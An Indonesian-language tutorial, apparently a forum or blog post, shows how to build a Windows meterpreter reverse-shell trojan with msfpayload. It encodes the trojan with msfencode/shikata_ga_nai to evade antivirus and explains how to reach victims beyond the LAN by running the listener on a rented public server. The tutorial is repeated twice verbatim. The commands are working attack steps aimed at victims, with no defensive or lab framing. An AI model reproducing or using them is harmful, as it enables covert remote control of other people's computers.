03:56
hbfhf
hanya untuk LAN dan ada logika yang saya tambahkan untuk menjadi global ]
[+] membuat trojan dengan msfconsole (msfpayload)
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 X > /tmp/trojan.exe
NB :
msfpayload : generate virus dengan msfpayload
windows/meterpreter/reverse_tcp : membuka sesi meterpreter dengan port 4444 yang ada
LHOST : menetapkan trojan untuk berkomunikasi dengan kita
LPORT : trojan mendengarkan pada port 4444
/tmp/trojan.exe : nama trojan yang kita buat di simpan di folder "tmp"
[+] mengamankan virus dari antivirus
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 R | msfencode -e x86/shikata_ga_nai -t exe > /tmp/trojan2.exe
NB:
1. Membuka sesi meterpreter.
2. Membuat korban berinteraksi dengan metasploit yang berdiam pada IP address 192.168.56.1 dan mendengarkan pada port 4444
3. File disimpan dalam bentuk RAW (masih mentah, hanya berbentuk text)
4. msfencode melakukan encoding payload dengan x86/shikata_ga_nai
5. msfencode melakukan encoding dengan format ektensi .exe
6. File di beri nama trojan2.exe pada direktori /tmp/
[+] jika masih terdeteksi kita bisa lakukan ini
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 R | msfencode -a x86 -b '\x00\xff' -e x86/shikata_ga_nai -t exe > /tmp/trojan3.exe
NB :
1. Membuka sesi meterpreter.
2. Membuat korban berinteraksi dengan metasploit yang berdiam pada IP address 192.168.56.1 dan mendengarkan pada port 4444
3. File disimpan dalam bentuk RAW (masih mentah, hanya berbentuk text)
4. msfencode melakukan encoding payload dengan arsitektur x86 (32 bit)
5. msfencode melakukan encoding payload dengan menghindari shell code \x00\xff saat melakukan generating shell code.
6. msfencode melakukan encoding payload dengan x86/shikata_ga_nai
7. msfencode melakukan encoding dengan format ektensi .exe
8. File di beri nama trojan3.exe pada direktori /tmp/
{logika global attack}
mengapa ini hanya untuk lan ? jawaban nya karna di range IP nya sudah jelas hanya membuat koneksi di LAN , jika kalian ingin membuat lebih dahsyat lagi alias global ini langkah nya selanjut nya cari sendir oke :
--> hosting (server online)
--> OS linux
--> install msfconsole
--> lakukan langlah yang ada di lan dengan IP public kalian (hosting
Lhost bisa diganti
sesuai local ip kita
mengecek ip address
windows : CMD ---ketik ipconfig
linux : Terminal --- ketik ifconfig
[+] membuat trojan dengan msfconsole (msfpayload)
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 X > /tmp/trojan.exe
NB :
msfpayload : generate virus dengan msfpayload
windows/meterpreter/reverse_tcp : membuka sesi meterpreter dengan port 4444 yang ada
LHOST : menetapkan trojan untuk berkomunikasi dengan kita
LPORT : trojan mendengarkan pada port 4444
/tmp/trojan.exe : nama trojan yang kita buat di simpan di folder "tmp"
[+] mengamankan virus dari antivirus
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 R | msfencode -e x86/shikata_ga_nai -t exe > /tmp/trojan2.exe
NB:
1. Membuka sesi meterpreter.
2. Membuat korban berinteraksi dengan metasploit yang berdiam pada IP address 192.168.56.1 dan mendengarkan pada port 4444
3. File disimpan dalam bentuk RAW (masih mentah, hanya berbentuk text)
4. msfencode melakukan encoding payload dengan x86/shikata_ga_nai
5. msfencode melakukan encoding dengan format ektensi .exe
6. File di beri nama trojan2.exe pada direktori /tmp/
[+] jika masih terdeteksi kita bisa lakukan ini
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 R | msfencode -a x86 -b '\x00\xff' -e x86/shikata_ga_nai -t exe > /tmp/trojan3.exe
NB :
1. Membuka sesi meterpreter.
2. Membuat korban berinteraksi dengan metasploit yang berdiam pada IP address 192.168.56.1 dan mendengarkan pada port 4444
3. File disimpan dalam bentuk RAW (masih mentah, hanya berbentuk text)
4. msfencode melakukan encoding payload dengan arsitektur x86 (32 bit)
5. msfencode melakukan encoding payload dengan menghindari shell code \x00\xff saat melakukan generating shell code.
6. msfencode melakukan encoding payload dengan x86/shikata_ga_nai
7. msfencode melakukan encoding dengan format ektensi .exe
8. File di beri nama trojan3.exe pada direktori /tmp/
{logika global attack}
mengapa ini hanya untuk lan ? jawaban nya karna di range IP nya sudah jelas hanya membuat koneksi di LAN , jika kalian ingin membuat lebih dahsyat lagi alias global ini langkah nya selanjut nya cari sendir oke :
--> hosting (server online)
--> OS linux
--> install msfconsole
--> lakukan langlah yang ada di lan dengan IP public kalian (hosting
Lhost bisa diganti
sesuai local ip kita
mengecek ip address
windows : CMD ---ketik ipconfig
linux : Terminal --- ketik ifconfig
